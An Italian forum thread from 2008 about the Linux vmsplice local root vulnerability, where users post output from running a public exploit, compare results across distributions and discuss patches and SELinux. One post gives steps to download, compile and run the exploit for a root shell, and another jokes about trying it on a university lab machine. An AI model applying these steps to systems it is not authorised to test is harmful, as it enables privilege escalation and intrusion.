PDA

View Full Version : [CRITICO] Scoperta vulnerabilità locale in Linux 2.6


homer87
11-02-2008, 11:17
Scusate, il tag ma come news non è da prendere sottogamba.

Nei kernel distribuiti da Debian ed Ubuntu è stata individuata e confermata una vulnerabilità che garantisce ad un utente locale la possibilità di diventare root, eseguendo semplicemente questo exploit; la falla di sicurezza è stata individuata nell’errato comportamento della system call vmsplice() e, sebbene al momento il bug sia stato confermato solo in Debian ed Ubuntu, è probabile che esso sia presente nella gran parte delle distribuzioni.
Sul bug tracker di Debian è già disponibile un workaround che rende inutilizzabile l’exploit.

workaround:
http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c

fonte: ossblog.it

Io ho Sid, e l'exploit era possibile eseguirlo.
Ho applicato il workaround ed è tornato tutto normale.

arara
11-02-2008, 12:00
Per adesso si sa che funziona su Debian e Ubuntu, non è detto che anche tutte le altre siano vulnerabili.

Su Debian l'ho provato e funziona:
$ ./a.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7e38000 .. 0xb7e6a000
[+] root
#

Su Fedora8 invece no:
$ ./a.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7fa5000 .. 0xb7fd7000
[-] wtf
$

eclissi83
11-02-2008, 12:44
la soluzione e' ricompilare:
http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.24.2

il codice postato prima pare (non sono un coder, di c capisco poco) che corrompa le pagine di memoria...

ah, ovviamente sto bug ha gia' fatto bei danni :P

ciao

Gica78R
11-02-2008, 16:25
Su Fedora8 invece no:



Disabilitando SELinux, anche Fedora è vulnerabile:

[gianluca@dyane6 ~]$ uname -r
2.6.23.14-115.fc8
[gianluca@dyane6 ~]$ ./bug-linux
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fae000 .. 0xb7fe0000
[+] root
[root@dyane6 ~]#

:(

eclissi83
11-02-2008, 17:41
Disabilitando SELinux, anche Fedora è vulnerabile:

beh era comprensibile dai... :D

Gica78R
11-02-2008, 17:48
Ho appena aggiornato Debian Etch, che ora non è più vulnerabile :)
Più veloci della luce :cool:

homer87
12-02-2008, 10:26
Nemmeno sid:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b0fcf23a000 .. 0x2b0fcf26c000
Killed

manowar84
12-02-2008, 13:25
2.6.23.1 su arch:

[paolo@Arch-Linux Downloads]$ ./disable-vmsplice-if-exploitable.c
bash: ./disable-vmsplice-if-exploitable.c: Permission denied
[paolo@Arch-Linux Downloads]$


non sono vulnerabile quindi?

arara
12-02-2008, 13:30
2.6.23.1 su arch:

non sono vulnerabile quindi?
eh no... magari...
Devi fare cosi: apri questa pagina http://www.milw0rm.com/exploits/5092 e salva il contenuto nel file exploit.c, poi esegui da utente normale:
gcc exploit.c -o exploit && ./exploit

se sei vulnerabile ti ritrovi un una shell di root!:eek:

manowar84
12-02-2008, 13:37
arg ieri ho aggiornato a .24 quindi non sono vulnerabile, lo volevo provare doh!

[paolo@Arch-Linux ~]$ gcc exploit.c -o exploit && ./exploit
exploit.c:289:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e24000 .. 0xb7e56000
[-] vmsplice: Bad address
[paolo@Arch-Linux ~]$


vabbè cmq ottimo, lo provo al laboratorio all'università che c'è la sarge :D

edit: no asp, io ho 24.1 quindi dovrei essere vulnerabile! e allora arch powaaa!

arara
12-02-2008, 13:43
vabbè cmq ottimo, lo provo al laboratorio all'università che c'è la sarge :D
va che ti sgamano subito :D

edit: no asp, io ho 24.1 quindi dovrei essere vulnerabile! e allora arch powaaa!
http://www.securityfocus.com/bid/27704/info

Anche il 2.6.24.1 non è vulnerabile, sara per quello:

Not Vulnerable: Linux kernel 2.6.24.1

manowar84
12-02-2008, 13:44
va che ti sgamano subito :D


http://www.securityfocus.com/bid/27704/info

Anche il 2.6.24.1 non è vulnerabile, sara per quello:

Not Vulnerable: Linux kernel 2.6.24.1

aho ma mi smonti sempre ahuahuahuahu!!! :asd:

ok grazie per la info :D

red.hell
12-02-2008, 14:01
rosso@localhost ~ $ gcc exploit.c -o exploit && ./exploit
exploit.c:289:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[-] !@#$
rosso@localhost ~ $ uname -a
Linux localhost 2.6.22-sabayon #2 SMP Sun Oct 7 14:20:14 UTC 2007 i686 Unknown CPU Typ AuthenticAMD GNU/Linux
rosso@localhost ~ $

pare che sulla Sabayon 3.4f il problema non ci sia, anche se non capisco perchè si pianta subito...

arara
12-02-2008, 15:21
rosso@localhost ~ $ gcc exploit.c -o exploit && ./exploit
exploit.c:289:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[-] !@#$
rosso@localhost ~ $ uname -a
Linux localhost 2.6.22-sabayon #2 SMP Sun Oct 7 14:20:14 UTC 2007 i686 Unknown CPU Typ AuthenticAMD GNU/Linux
rosso@localhost ~ $

pare che sulla Sabayon 3.4f il problema non ci sia, anche se non capisco perchè si pianta subito...

E qua che si ferma, quasi all'inizio:

if (!uid || !gid)
die("!@#$", 0);

Se uno dei due tra uid o gid è 0, cioe root, allora esce.
E strano perche vedo che l'hai eseguito con un utente normale, prova a guardare col comando id su che gruppi sei inserito.

red.hell
12-02-2008, 17:22
E qua che si ferma, quasi all'inizio:

if (!uid || !gid)
die("!@#$", 0);

Se uno dei due tra uid o gid è 0, cioe root, allora esce.
E strano perche vedo che l'hai eseguito con un utente normale, prova a guardare col comando id su che gruppi sei inserito.

rosso@localhost ~ $ id
uid=1000(rosso) gid=0(root) gruppi=0(root),6(disk),10(wheel),11(floppy),14(uucp),18(audio),19(cdrom),20(dialout),27(video),35(games),80(cdrw),85(usb),100(users),250(portage),409(clamav),410(messagebus),411(haldaemon),441(scanner),442(plugdev),443(qemu),1008(kvm),1009(vboxusers)
rosso@localhost ~ $

sono in root... e si che nell'installare saba mi ero messo tra gli utenti standard e i comandi che vanno dati da root (ifconfig, modprobe solo per citarne un paio) non li eseguo (command not found)

EDIT: questo invece con fedora 8 64bit sul portatile SElinux disattivato (in quanto non ho ben capito a cosa serva... :stordita:)
bash-3.2$ gcc exploit.c -o exploit && ./exploit
exploit.c:290:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2aaaaaad9000 .. 0x2aaaaab0b000
[+] root
bash-3.2# uname -a
Linux portatilerosso 2.6.23.14-115.fc8 #1 SMP Mon Jan 21 14:22:56 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
bash-3.2#

eclissi83
12-02-2008, 18:04
EDIT: questo invece con fedora 8 64bit sul portatile SElinux disattivato (in quanto non ho ben capito a cosa serva... :stordita:)

credo che tu ora in parte l'abbia capito... :D

arara
12-02-2008, 18:07
sono in root... e si che nell'installare saba mi ero messo tra gli utenti standard e i comandi che vanno dati da root (ifconfig, modprobe solo per citarne un paio) non li eseguo (command not found)

E molto strano che ti abbia messo da solo in quel gruppo. Per provare l'exploit dovresti metterti un gid diverso, users dovrebbe andare bene, e forse è anche meglio.

anche per fedora comunque è uscito il nuovo kernel patchato.

gepeppe
12-02-2008, 18:19
a me da questo output:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7dc6000 .. 0xb7df8000
[-] vmsplice: Bad address


cavolo conosco il C, ma di questo codice (http://www.milw0rm.com/exploits/5092) ci ho capito ben poco!! :muro:

darkbasic
12-02-2008, 18:39
Ci credo, praticamente sono assembly e system call :D
Lungi dall'averci capito qualcosa è :p

R4iDei
12-02-2008, 19:08
A me fa in seg fault O_o

Devil!
12-02-2008, 19:15
[server 4] /storage > whoami
originalp
[19:08 - 0.10]
[server 5] /storage > ./exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
This is BASH 3.1 - DISPLAY on :0.0

mar feb 12 19:08:52 CET 2008
Mai dire: "Non so come farlo".
Meglio dire: "Non ci ho mai provato".
-- Proverbio giapponese
[19:08 - 0.00]
[server 1] /storage > whoami
root :stordita:
[19:09 - 0.00]
[server 2] /storage > uname -a
Linux server 2.6.24 #1 Fri Jan 25 15:50:37 CET 2008 i686 GNU/Linux
[19:09 - 0.00]
[server 3] /storage > exit
exit
Hasta la vista, baby
[19:10 - 0.10]

funge! (Debian testing)

lasciate perdere le frasi che non centrano :D

khelidan1980
12-02-2008, 21:09
Su fedora 8 lo lanciato più volte ed una ha funzionato,una soltanto....

Comunque su selinux hanno fatto un lavoro colossale di adattamento ad un desktop.....

jventure
12-02-2008, 23:17
solo a me non compila ???

sarà l'ora tarda :D o che sul server dove cerco di compilare non ho tutte le librerie del compilatore :D

mah domani provo meglio

Dcromato
13-02-2008, 01:46
E molto strano che ti abbia messo da solo in quel gruppo. Per provare l'exploit dovresti metterti un gid diverso, users dovrebbe andare bene, e forse è anche meglio.

anche per fedora comunque è uscito il nuovo kernel patchato.

Sabayon infila l'utente in root

eclissi83
13-02-2008, 13:59
Sabayon infila l'utente in root

non so quanto felice sia come soluzione... contenti loro...

red.hell
13-02-2008, 21:11
non so quanto felice sia come soluzione... contenti loro...

infatti ho diffuso la notizia sul forum di sabayon-mania...

comunque su Fedora 8 (come già anticipato da arara) con l'ultimo kernel (2.6.23.15-135 se non ricordo male) hanno risolto